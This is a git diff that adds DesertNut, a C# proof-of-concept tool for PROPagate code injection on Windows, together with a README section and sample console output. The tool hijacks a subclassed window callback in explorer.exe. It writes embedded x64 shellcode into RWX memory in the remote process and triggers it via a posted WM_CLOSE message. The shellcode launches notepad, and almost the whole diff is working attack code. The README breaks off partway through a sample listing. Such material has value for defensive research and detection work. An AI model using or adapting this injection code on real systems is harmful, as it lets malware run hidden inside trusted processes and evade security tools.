diff --git a/DesertNut/DesertNut.csproj b/DesertNut/DesertNut.csproj new file mode 100644 index 0000000..24be25e --- /dev/null +++ b/DesertNut/DesertNut.csproj @@ -0,0 +1,59 @@ + + + + + Debug + AnyCPU + {53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B} + Exe + DesertNut + DesertNut + v4.5 + 512 + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + packages\Colorful.Console.1.2.9\lib\net45\Colorful.Console.dll + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/DesertNut/DesertNut.sln b/DesertNut/DesertNut.sln new file mode 100644 index 0000000..e3cfea0 --- /dev/null +++ b/DesertNut/DesertNut.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27703.2035 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DesertNut", "DesertNut.csproj", "{53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A564ACA0-4C8E-40D2-BD2F-1A4800A9C87D} + EndGlobalSection +EndGlobal diff --git a/DesertNut/DesertNut_h.cs b/DesertNut/DesertNut_h.cs new file mode 100644 index 0000000..9154b20 --- /dev/null +++ b/DesertNut/DesertNut_h.cs @@ -0,0 +1,365 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using Colorful; +using Console = Colorful.Console; +using System.Drawing; + +namespace DesertNut +{ + class DesertNut_h + { + // Banner + //----------------------------------- + public static void PrintBanner() + { + Console.ForegroundColor = Color.Orange; + Console.WriteLine(" , ' . ' , "); + Console.WriteLine(" . . ' . , "); + Console.WriteLine(" . ' + "); + Console.WriteLine(" + .-'''''-. "); + Console.WriteLine(" .' `. + . ________|| "); + Console.WriteLine(" ___ : : | / || . '___ "); + Console.WriteLine(" ____/ \\ : : ||. _/ || ||\\_______/ \\ "); + Console.WriteLine(" / \\ : _/| : `|| __/ ,.|| || \\ "); + Console.WriteLine("/ , ' . \\ : =/_/ : |'_______ || || || . \\ "); + Console.WriteLine(" | \\__`._/ | .' ___| \\__ \\\\|| ||... , \\"); + Console.WriteLine(" l|, ' ( / ,|...-' \\ ' , __\\||_//___ "); + Console.WriteLine(" ___|____ \\_/^\\/||__ , . ,__ ||// \\ . , "); + Console.WriteLine(" _/~ `''~`'` \\_ ''( ....,||/ ' "); + Console.WriteLine(" ..,... __/ -'/ `-._ `\\_\\__ | \\ || _______ . "); + Console.WriteLine(" '` `\\ \\ \\-.\\ /(_1_,.. || / "); + Console.WriteLine(" ______/'''' \n"); + Console.ResetColor(); + } + + // Globals + //----------------------------------- + public static List SubclassWndProps = new List(); + public static WndPropStruc TargetSubclass = new WndPropStruc(); + public static Formatter[] sProperties = + { + new Formatter("[>]", Color.LightGreen), + new Formatter(":", Color.LightGreen), + new Formatter("|->", Color.LightGreen), + new Formatter(",", Color.LightGreen), + new Formatter("PID", Color.Orange), + new Formatter("ImageName", Color.Orange), + new Formatter("hProperty", Color.Orange), + new Formatter("hParentWnd", Color.Orange), + new Formatter("hChildWnd", Color.Orange), + new Formatter("ParentClassName", Color.Orange), + new Formatter("ChildClassName", Color.Orange), + }; + public static Formatter[] iProperties = + { + new Formatter("[>]", Color.LightGreen), + new Formatter(":", Color.LightGreen), + new Formatter("|->", Color.LightGreen), + new Formatter(",", Color.LightGreen), + new Formatter("-->", Color.LightGreen), + new Formatter("hProc", Color.Orange), + new Formatter("hProperty", Color.Orange), + new Formatter("uRefs", Color.Orange), + new Formatter("uAlloc", Color.Orange), + new Formatter("uCleanup", Color.Orange), + new Formatter("dwThreadId", Color.Orange), + new Formatter("pFrameCur", Color.Orange), + new Formatter("pfnSubclass", Color.Orange), + new Formatter("uIdSubclass", Color.Orange), + new Formatter("dwRefData", Color.Orange), + new Formatter("Sc Len", Color.Orange), + new Formatter("Sc Address", Color.Orange), + new Formatter("Subclass header Len", Color.Orange), + new Formatter("Subclass header Address", Color.Orange), + }; + + // Structs + //----------------------------------- + [StructLayout(LayoutKind.Sequential)] + public struct WndPropStruc + { + public UInt32 dwPid; + public String ImageName; + public IntPtr hProperty; + public IntPtr hParentWnd; + public IntPtr hChildWnd; + public String ParentClassName; + public String ChildClassName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SUBCLASS_HEADER + { + public UInt32 uRefs; + public UInt32 uAlloc; + public UInt32 uCleanup; + public UInt32 dwThreadId; + public IntPtr pFrameCur; + public SUBCLASS_CALL CallArray; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SUBCLASS_FRAME + { + public UInt32 uCallIndex; + public UInt32 uDeepestCall; + public IntPtr pFramePrev; + public IntPtr pHeader; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SUBCLASS_CALL + { + public IntPtr pfnSubclass; + public UIntPtr uIdSubclass; + public UIntPtr dwRefData; + } + + // APIs + //----------------------------------- + [DllImport("user32.dll")] + public static extern bool EnumWindows( + WindowCallBack callback, + int lParam); + + [DllImport("user32.dll")] + public static extern bool EnumChildWindows( + IntPtr window, + WindowCallBack callback, + IntPtr lParam); + + [DllImport("user32.dll")] + public static extern int EnumProps( + IntPtr hwnd, + PropEnumPropCallBack lpEnumFunc); + + [DllImport("user32.dll")] + public static extern IntPtr GetProp( + IntPtr hWnd, + String lpString); + + [DllImport("user32.dll")] + public static extern bool SetProp( + IntPtr hWnd, + string lpString, + IntPtr hData); + + [DllImport("user32.dll")] + public static extern bool PostMessage( + IntPtr hWnd, + uint Msg, + IntPtr wParam, + IntPtr lParam); + + [DllImport("user32.dll")] + public static extern uint GetWindowThreadProcessId( + IntPtr hWnd, + ref UInt32 ProcessId); + + [DllImport("user32.dll")] + public static extern IntPtr GetParent( + IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int GetClassName( + IntPtr hWnd, + StringBuilder lpClassName, + int nMaxCount); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess( + UInt32 processAccess, + bool bInheritHandle, + int processId); + + [DllImport("kernel32.dll")] + public static extern Boolean ReadProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + IntPtr lpBuffer, + UInt32 dwSize, + ref UInt32 lpNumberOfBytesRead); + + [DllImport("kernel32.dll")] + public static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + uint nSize, + ref UInt32 lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + int flAllocationType, + int flProtect); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern bool VirtualFreeEx( + IntPtr hProcess, + IntPtr lpAddress, + UInt32 dwSize, + UInt32 dwFreeType); + + [DllImport("kernel32.dll")] + public static extern Boolean CloseHandle( + IntPtr hObject); + + // Callbacks + //----------------------------------- + public delegate bool WindowCallBack(IntPtr hwnd, IntPtr lParam); + public delegate bool PropEnumPropCallBack(IntPtr hwnd, IntPtr lpszString, IntPtr hData); + + // Shellcode + // Function prototype should be: + // typedef LRESULT (CALLBACK *SUBCLASSPROC)(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData); + // ==> https://github.com/odzhan/injection/blob/master/payload/x64/payload.c + // Below was compiled for x64 only! + //----------------------------------- + public static byte[] NotepadSc = new byte[344] + { + 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8D, 0x48, 0xD8, 0xC7, 0x40, 0xD8, 0x57, 0x69, + 0x6E, 0x45, 0xC7, 0x40, 0xDC, 0x78, 0x65, 0x63, 0x00, 0xC7, 0x40, 0xE0, 0x6E, 0x6F, 0x74, 0x65, + 0xC7, 0x40, 0xE4, 0x70, 0x61, 0x64, 0x00, 0xE8, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, + 0x0C, 0xBA, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0xFF, 0xD0, 0x33, 0xC0, 0x48, + 0x83, 0xC4, 0x48, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, + 0x20, 0x48, 0x63, 0x41, 0x3C, 0x48, 0x8B, 0xD9, 0x4C, 0x8B, 0xE2, 0x8B, 0x8C, 0x08, 0x88, 0x00, + 0x00, 0x00, 0x85, 0xC9, 0x74, 0x37, 0x48, 0x8D, 0x04, 0x0B, 0x8B, 0x78, 0x18, 0x85, 0xFF, 0x74, + 0x2C, 0x8B, 0x70, 0x1C, 0x44, 0x8B, 0x70, 0x20, 0x48, 0x03, 0xF3, 0x8B, 0x68, 0x24, 0x4C, 0x03, + 0xF3, 0x48, 0x03, 0xEB, 0xFF, 0xCF, 0x49, 0x8B, 0xCC, 0x41, 0x8B, 0x14, 0xBE, 0x48, 0x03, 0xD3, + 0xE8, 0x87, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x25, 0x85, 0xFF, 0x75, 0xE7, 0x33, 0xC0, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, + 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0x0F, 0xB7, + 0x44, 0x7D, 0x00, 0x8B, 0x04, 0x86, 0x48, 0x03, 0xC3, 0xEB, 0xD4, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, + 0x8B, 0xF9, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x50, 0x18, 0x48, 0x8B, 0x5A, 0x10, 0xEB, 0x16, 0x4D, + 0x85, 0xC0, 0x75, 0x1A, 0x48, 0x8B, 0xD7, 0x48, 0x8B, 0xC8, 0xE8, 0x35, 0xFF, 0xFF, 0xFF, 0x48, + 0x8B, 0x1B, 0x4C, 0x8B, 0xC0, 0x48, 0x8B, 0x43, 0x30, 0x48, 0x85, 0xC0, 0x75, 0xE1, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x49, 0x8B, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x44, 0x8A, 0x01, 0x45, + 0x84, 0xC0, 0x74, 0x1A, 0x41, 0x8A, 0xC0, 0x48, 0x2B, 0xCA, 0x44, 0x8A, 0xC0, 0x3A, 0x02, 0x75, + 0x0D, 0x48, 0xFF, 0xC2, 0x8A, 0x04, 0x11, 0x44, 0x8A, 0xC0, 0x84, 0xC0, 0x75, 0xEC, 0x0F, 0xB6, + 0x0A, 0x41, 0x0F, 0xB6, 0xC0, 0x2B, 0xC1, 0xC3 + }; + + // Helpers + //----------------------------------- + public static Boolean EnumWndProps(IntPtr hwnd, IntPtr lpszString, IntPtr hData) + { + // Create result struct + WndPropStruc PropertyStruct = new WndPropStruc(); + // Fill struct data + IntPtr UxSubclass = GetProp(hwnd, "UxSubclassInfo"); + IntPtr CC32Subclass = GetProp(hwnd, "CC32SubclassInfo"); + if (UxSubclass == IntPtr.Zero && CC32Subclass == IntPtr.Zero) + { + // This doesn't have what we need.. + } else + { + // Parse data + if (UxSubclass == IntPtr.Zero) + { + PropertyStruct.hProperty = CC32Subclass; + } + else + { + PropertyStruct.hProperty = UxSubclass; + } + PropertyStruct.hChildWnd = hwnd; + PropertyStruct.hParentWnd = GetParent(hwnd); + GetWindowThreadProcessId(hwnd, ref PropertyStruct.dwPid); + StringBuilder ParentClassName = new StringBuilder(260); + GetClassName(PropertyStruct.hParentWnd, ParentClassName, 260); + PropertyStruct.ParentClassName = ParentClassName.ToString(); + StringBuilder ChildClassName = new StringBuilder(260); + GetClassName(PropertyStruct.hChildWnd, ChildClassName, 260); + PropertyStruct.ChildClassName = ChildClassName.ToString(); + PropertyStruct.ImageName = Process.GetProcessById((int)PropertyStruct.dwPid).ProcessName; + + // if unique add to list + if (!SubclassWndProps.Any(Entry => Entry.hProperty == PropertyStruct.hProperty)) + { + SubclassWndProps.Add(PropertyStruct); + } + } + + return true; + } + + public static Boolean EnumChildWnd(IntPtr hwnd, IntPtr lParam) + { + EnumProps(hwnd, new PropEnumPropCallBack(EnumWndProps)); + return true; + } + + public static Boolean EnumWnd(IntPtr hwnd, IntPtr lParam) + { + EnumChildWindows(hwnd, new WindowCallBack(EnumChildWnd), (IntPtr)0); + EnumProps(hwnd, new PropEnumPropCallBack(EnumWndProps)); + return true; + } + + public static List EnumSubClassProps(Boolean List) + { + EnumWindows(new WindowCallBack(EnumWnd), 0); + if (SubclassWndProps.Count > 0) + { + if (List) + { + Console.WriteLine("\n[+] Subclassed Window Properties", Color.LightGreen); + foreach (WndPropStruc SubClass in SubclassWndProps) + { + Console.WriteLineFormatted("{0} {4}{1} " + SubClass.dwPid + "{3} {5}{1} " + SubClass.ImageName, Color.White, sProperties); + Console.WriteLineFormatted(" {2} {6}{1} " + "0x" + String.Format("{0:X}", (SubClass.hProperty).ToInt64()) + "{3} {7}{1} " + "0x" + String.Format("{0:X}", (SubClass.hParentWnd).ToInt64()) + "{3} {8}{1} " + "0x" + String.Format("{0:X}", (SubClass.hChildWnd).ToInt64()), Color.White, sProperties); + Console.WriteLineFormatted(" {2} {9}{1} " + SubClass.ParentClassName + "{3} {10}{1} " + SubClass.ChildClassName + "\n", Color.White, sProperties); + } + } + } + return SubclassWndProps; + } + + public static IntPtr ReadSubclassHeader(WndPropStruc UxSubclassInfo) + { + // Open process + Console.WriteLine("[+] Duplicating Subclass header..", Color.LightGreen); + IntPtr hProc = OpenProcess(0x1F0FFF, false, (int)UxSubclassInfo.dwPid); + if (hProc == IntPtr.Zero) + { + Console.WriteLine("[!] Unable to open " + UxSubclassInfo.ImageName + " for access.." , Color.Red); + return IntPtr.Zero; + } else + { + Console.WriteLineFormatted("{0} {5}{1} " + "0x" + String.Format("{0:X}", (hProc).ToInt64()), Color.White, iProperties); + } + + // Read out header + SUBCLASS_HEADER SubclassHeader = new SUBCLASS_HEADER(); + IntPtr HeaderCopy = Marshal.AllocHGlobal(Marshal.SizeOf(SubclassHeader)); + uint BytesRead = 0; + Boolean CallResult = ReadProcessMemory(hProc, UxSubclassInfo.hProperty, HeaderCopy, (uint)(Marshal.SizeOf(SubclassHeader)), ref BytesRead); + if (CallResult) + { + Console.WriteLineFormatted("{0} {6}{1} " + "0x" + String.Format("{0:X}", (UxSubclassInfo.hProperty).ToInt64()), Color.White, iProperties); + SubclassHeader = (SUBCLASS_HEADER)Marshal.PtrToStructure(HeaderCopy, typeof(SUBCLASS_HEADER)); + Console.WriteLineFormatted(" {2} {7}{1} " + SubclassHeader.uRefs + "{3} {8}{1} " + SubclassHeader.uAlloc + "{3} {9}{1} " + SubclassHeader.uCleanup, Color.White, iProperties); + Console.WriteLineFormatted(" {2} {10}{1} " + SubclassHeader.dwThreadId + "{3} {11}{1} " + SubclassHeader.pFrameCur, Color.White, iProperties); + Console.WriteLineFormatted(" {2} {12}{1} " + "0x" + String.Format("{0:X}", (SubclassHeader.CallArray.pfnSubclass).ToInt64()) + " {4} comctl32!CallOriginalWndProc (?)", Color.White, iProperties); + Console.WriteLineFormatted(" {2} {13}{1} " + SubclassHeader.CallArray.uIdSubclass + "{3} {14}{1} " + "0x" + String.Format("{0:X}", (Int64)SubclassHeader.CallArray.dwRefData), Color.White, iProperties); + } else + { + Console.WriteLine("[!] Unable to call ReadProcessMemory..", Color.Red); + CloseHandle(hProc); + return IntPtr.Zero; + } + + CloseHandle(hProc); + return HeaderCopy; + } + } +} diff --git a/DesertNut/Program.cs b/DesertNut/Program.cs new file mode 100644 index 0000000..cfd9f2c --- /dev/null +++ b/DesertNut/Program.cs @@ -0,0 +1,157 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using Console = Colorful.Console; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace DesertNut +{ + class Program + { + public static void PROPPagate() + { + // Search for target subclass in explorer + Console.WriteLine("[+] Searching for Subclass property..", Color.LightGreen); + List CallResult = DesertNut_h.EnumSubClassProps(false); + foreach (DesertNut_h.WndPropStruc Entry in CallResult) + { + if (Entry.ParentClassName == "Progman" && Entry.ChildClassName == "SHELLDLL_DefView") + { + DesertNut_h.TargetSubclass = Entry; + } + } + + // Check result + if (DesertNut_h.TargetSubclass.dwPid == 0) + { + Console.WriteLine("[!] Unable to find property..", Color.Red); + return; + } else + { + Console.WriteLineFormatted("{0} {4}{1} " + DesertNut_h.TargetSubclass.dwPid + "{3} {5}{1} " + DesertNut_h.TargetSubclass.ImageName, Color.White, DesertNut_h.sProperties); + Console.WriteLineFormatted(" {2} {9}{1} " + DesertNut_h.TargetSubclass.ParentClassName + "{3} {10}{1} " + DesertNut_h.TargetSubclass.ChildClassName, Color.White, DesertNut_h.sProperties); + } + + // Fetch Subclass header + IntPtr pLocalHeaderCopy = DesertNut_h.ReadSubclassHeader(DesertNut_h.TargetSubclass); + if (pLocalHeaderCopy == IntPtr.Zero) + { + Console.WriteLine("[!] Failed to duplicate subclass header..", Color.Red); + return; + } + + // Open process + IntPtr hProc = DesertNut_h.OpenProcess(0x1F0FFF, false, (int)DesertNut_h.TargetSubclass.dwPid); + + // Remote shellcode alloc + Console.WriteLine("[+] Allocating remote shellcode..", Color.LightGreen); + IntPtr rScPointer = DesertNut_h.VirtualAllocEx(hProc, IntPtr.Zero, (uint)DesertNut_h.NotepadSc.Length, 0x3000, 0x40); + if (rScPointer == IntPtr.Zero) + { + Console.WriteLine("[!] Unable to allocate shellcode in remote process..", Color.Red); + return; + } else + { + Console.WriteLineFormatted(" {2} {15}{1} " + DesertNut_h.NotepadSc.Length, Color.White, DesertNut_h.iProperties); + Console.WriteLineFormatted(" {2} {16}{1} " + "0x" + String.Format("{0:X}", (rScPointer).ToInt64()), Color.White, DesertNut_h.iProperties); + // Write the byte array + uint BytesWritten = 0; + Boolean WriteResult = DesertNut_h.WriteProcessMemory(hProc, rScPointer, DesertNut_h.NotepadSc, (uint)DesertNut_h.NotepadSc.Length, ref BytesWritten); + if (!WriteResult) + { + Console.WriteLine("[!] Failed to write shellcode..", Color.Red); + DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000); + return; + } + } + + // Rewrite copy of SUBCLASS_HEADER + Console.WriteLine("[+] Rewriting local SUBCLASS_HEADER..", Color.LightGreen); + // Recast Ptr2Struct, we need a rewrite SUBCLASS_HEADER->CallArray->pfnSubclass + DesertNut_h.SUBCLASS_HEADER SubclassHeader = new DesertNut_h.SUBCLASS_HEADER(); + SubclassHeader = (DesertNut_h.SUBCLASS_HEADER)Marshal.PtrToStructure(pLocalHeaderCopy, typeof(DesertNut_h.SUBCLASS_HEADER)); + SubclassHeader.CallArray.pfnSubclass = rScPointer; + + // Remote SUBCLASS_HEADER alloc + Console.WriteLine("[+] Allocating remote SUBCLASS_HEADER..", Color.LightGreen); + // Recast once more back to ptr, this is ugly but unfortunately I'm still a C# halfwit ¯\_(ツ)_/¯ + IntPtr pLocalHeader = Marshal.AllocHGlobal(Marshal.SizeOf(SubclassHeader)); + Marshal.StructureToPtr(SubclassHeader, pLocalHeader, true); + byte[] HeaderArray = new byte[Marshal.SizeOf(SubclassHeader)]; + Marshal.Copy(pLocalHeader, HeaderArray, 0, Marshal.SizeOf(SubclassHeader)); + IntPtr rHPointer = DesertNut_h.VirtualAllocEx(hProc, IntPtr.Zero, (uint)Marshal.SizeOf(SubclassHeader), 0x3000, 0x40); + if (rHPointer == IntPtr.Zero) + { + Console.WriteLine("[!] Unable to allocate Subclass header in remote process..", Color.Red); + DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000); + return; + } + else + { + Console.WriteLineFormatted(" {2} {17}{1} " + Marshal.SizeOf(SubclassHeader), Color.White, DesertNut_h.iProperties); + Console.WriteLineFormatted(" {2} {18}{1} " + "0x" + String.Format("{0:X}", (rHPointer).ToInt64()), Color.White, DesertNut_h.iProperties); + // Write the byte array + uint BytesWritten = 0; + Boolean WriteResult = DesertNut_h.WriteProcessMemory(hProc, rHPointer, HeaderArray, (uint)Marshal.SizeOf(SubclassHeader), ref BytesWritten); + if (!WriteResult) + { + Console.WriteLine("[!] Failed to write Subclass header..", Color.Red); + DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000); + DesertNut_h.VirtualFreeEx(hProc, rHPointer, 0, 0x8000); + return; + } + } + + // Update original subclass procedure with SetProp + Console.WriteLine("[+] Updating original UxSubclassInfo subclass procedure..", Color.LightGreen); + DesertNut_h.SetProp(DesertNut_h.TargetSubclass.hChildWnd, "UxSubclassInfo", rHPointer); + // Trigger shellcode execution + Console.WriteLine("[+] Trigger remote shellcode --> notepad..", Color.LightGreen); + DesertNut_h.PostMessage(DesertNut_h.TargetSubclass.hChildWnd, 0x10, IntPtr.Zero, IntPtr.Zero); // 0x10 = WM_CLOSE + // Our custom shellcode is keyed on this! + // We sleep 200ms to avoid winning a race against the callback + // Set struct -> call pfnSubclass -> revert struct -> free evil stuff + System.Threading.Thread.Sleep(200); + + // Restore original subclass procedure with SetProp + Console.WriteLine("[+] Restoring original UxSubclassInfo subclass procedure..", Color.LightGreen); + DesertNut_h.SetProp(DesertNut_h.TargetSubclass.hChildWnd, "UxSubclassInfo", DesertNut_h.TargetSubclass.hProperty); + + // Fee remote shellcode + Console.WriteLine("[+] Freeing remote SUBCLASS_HEADER & shellcode..", Color.LightGreen); + DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000); + DesertNut_h.VirtualFreeEx(hProc, rHPointer, 0, 0x8000); + } + + static void Main(string[] args) + { + // Banner + DesertNut_h.PrintBanner(); + + if (args.Length == 0) + { + Console.WriteLine("[!] No arguments given..", Color.Red); + Console.WriteLine(" => -l(--ListSubclassWndProps) List potentially injectable properties.", Color.LightGreen); + Console.WriteLine(" => -i(--Inject) Inject notepad shellcode into explorer.", Color.LightGreen); + } + else + { + int ListSubclassWndProp = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(l|ListSubclassWndProps)$").Match(s).Success); + int PROPagate = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(i|Inject)$").Match(s).Success); + if (ListSubclassWndProp != -1) + { + List CallResult = DesertNut_h.EnumSubClassProps(true); + if (CallResult.Count == 0) + { + Console.WriteLine("[!] Unable to get Subclassed Window Properties..", Color.Red); + } + return; + } else if (PROPagate != -1) + { + PROPPagate(); + } + } + } + } +} diff --git a/DesertNut/Properties/AssemblyInfo.cs b/DesertNut/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..fe0bd20 --- /dev/null +++ b/DesertNut/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("DesertNut")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("DesertNut")] +[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("53f622eb-0ca3-4e9b-9dc8-30c832df1c7b")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/DesertNut/app.config b/DesertNut/app.config new file mode 100644 index 0000000..51278a4 --- /dev/null +++ b/DesertNut/app.config @@ -0,0 +1,3 @@ + + + diff --git a/DesertNut/packages.config b/DesertNut/packages.config new file mode 100644 index 0000000..27aa9bd --- /dev/null +++ b/DesertNut/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/README.md b/README.md index a47836d..6488695 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,94 @@ C:\>SwampThing.exe -l C:\Windows\System32\notepad.exe -f C:\aaa.txt -r C:\bbb.tx [?] Success rewrote Len, MaxLen, Buffer.. ``` +### DesertNut + +DesertNut is a proof-of-concept for code injection using subclassed window callbacks (more commonly known as PROPagate). The pertinent part here is that this does use any suspect thread creation API's, instead as implied it hijacks window callbacks. DesertNut includes two flags: "-l" to list all potential properties that could be hijacked and "-i" to inject shellcode into explorer and execute notepad. Note that this POC is only designed for x64 (tested on Win10 RS5 & Win7) since it requires custom shellcode with a specific callback function prototype. For further details please see [this post](http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/) by Hexacorn and [this post](https://modexp.wordpress.com/2018/08/23/process-injection-propagate/) by modexp. + +``` +C:\> DesertNut.exe -i + , ' . ' , + . . ' . , + . ' + + + .-'''''-. + .' `. + . ________|| + ___ : : | / || . '___ + ____/ \ : : ||. _/ || ||\_______/ \ + / \ : _/| : `|| __/ ,.|| || \ +/ , ' . \ : =/_/ : |'_______ || || || . \ + | \__`._/ | .' ___| \__ \\|| ||... , \ + l|, ' ( / ,|...-' \ ' , __\||_//___ + ___|____ \_/^\/||__ , . ,__ ||// \ . , + _/~ `''~`'` \_ ''( ....,||/ ' + ..,... __/ -'/ `-._ `\_\__ | \ || _______ . + '` `\ \ \-.\ /(_1_,.. || / + ______/'''' + +[+] Searching for Subclass property.. +[>] PID: 10928, ImageName: explorer + |-> ParentClassName: Progman, ChildClassName: SHELLDLL_DefView +[+] Duplicating Subclass header.. +[>] hProc: 0x378 +[>] hProperty: 0x6B14DD0 + |-> uRefs: 2, uAlloc: 3, uCleanup: 0 + |-> dwThreadId: 5804, pFrameCur: 0 + |-> pfnSubclass: 0x7FFA20E42280 --> comctl32!CallOriginalWndProc (?) + |-> uIdSubclass: 0, dwRefData: 0x7FFA2E4C07D0 +[+] Allocating remote shellcode.. + |-> Sc Len: 344 + |-> Sc Address: 0x3220000 +[+] Rewriting local SUBCLASS_HEADER.. +[+] Allocating remote SUBCLASS_HEADER.. + |-> Subclass header Len: 48 + |-> Subclass header Address: 0x3260000 +[+] Updating original UxSubclassInfo subclass procedure.. +[+] Trigger remote shellcode --> notepad.. +[+] Restoring original UxSubclassInfo subclass procedure.. +[+] Freeing remote SUBCLASS_HEADER & shellcode.. + +C:\> DesertNut.exe -l + , ' . ' , + . . ' . , + . ' + + + .-'''''-. + .' `. + . ________|| + ___ : : | / || . '___ + ____/ \ : : ||. _/ || ||\_______/ \ + / \ : _/| : `|| __/ ,.|| || \ +/ , ' . \ : =/_/ : |'_______ || || || . \ + | \__`._/ | .' ___| \__ \\|| ||... , \ + l|, ' ( / ,|...-' \ ' , __\||_//___ + ___|____ \_/^\/||__ , . ,__ ||// \ . , + _/~ `''~`'` \_ ''( ....,||/ ' + ..,... __/ -'/ `-._ `\_\__ | \ || _______ . + '` `\ \ \-.\ /(_1_,.. || / + ______/'''' + + +[+] Subclassed Window Properties +[>] PID: 10928, ImageName: explorer + |-> hProperty: 0x1BC84BF0, hParentWnd: 0xA0710, hChildWnd: 0x100650 + |-> ParentClassName: Shell_TrayWnd, ChildClassName: Start + +[>] PID: 10928, ImageName: explorer + |-> hProperty: 0x1BC84C70, hParentWnd: 0xA0710, hChildWnd: 0x1C064C + |-> ParentClassName: Shell_TrayWnd, ChildClassName: TrayDummySearchControl + +[>] PID: 10928, ImageName: explorer + |-> hProperty: 0x12A64F0, hParentWnd: 0x1C064C, hChildWnd: 0x800E8 + |-> ParentClassName: TrayDummySearchControl, ChildClassName: Button + +[>] PID: 10928, ImageName: explorer + |-> hProperty: 0x12A58F0, hParentWnd: 0x1C064C, hChildWnd: 0x1504A4 + |-> ParentClassName: TrayDummySearchControl, ChildClassName: Static + +[>] PID: 10928, ImageName: explorer + |-> hProperty: 0x12A5870, hParentWnd: 0x1C064C, hChildWnd: 0x110814 + |-> ParentClassName: TrayDummySearchControl, 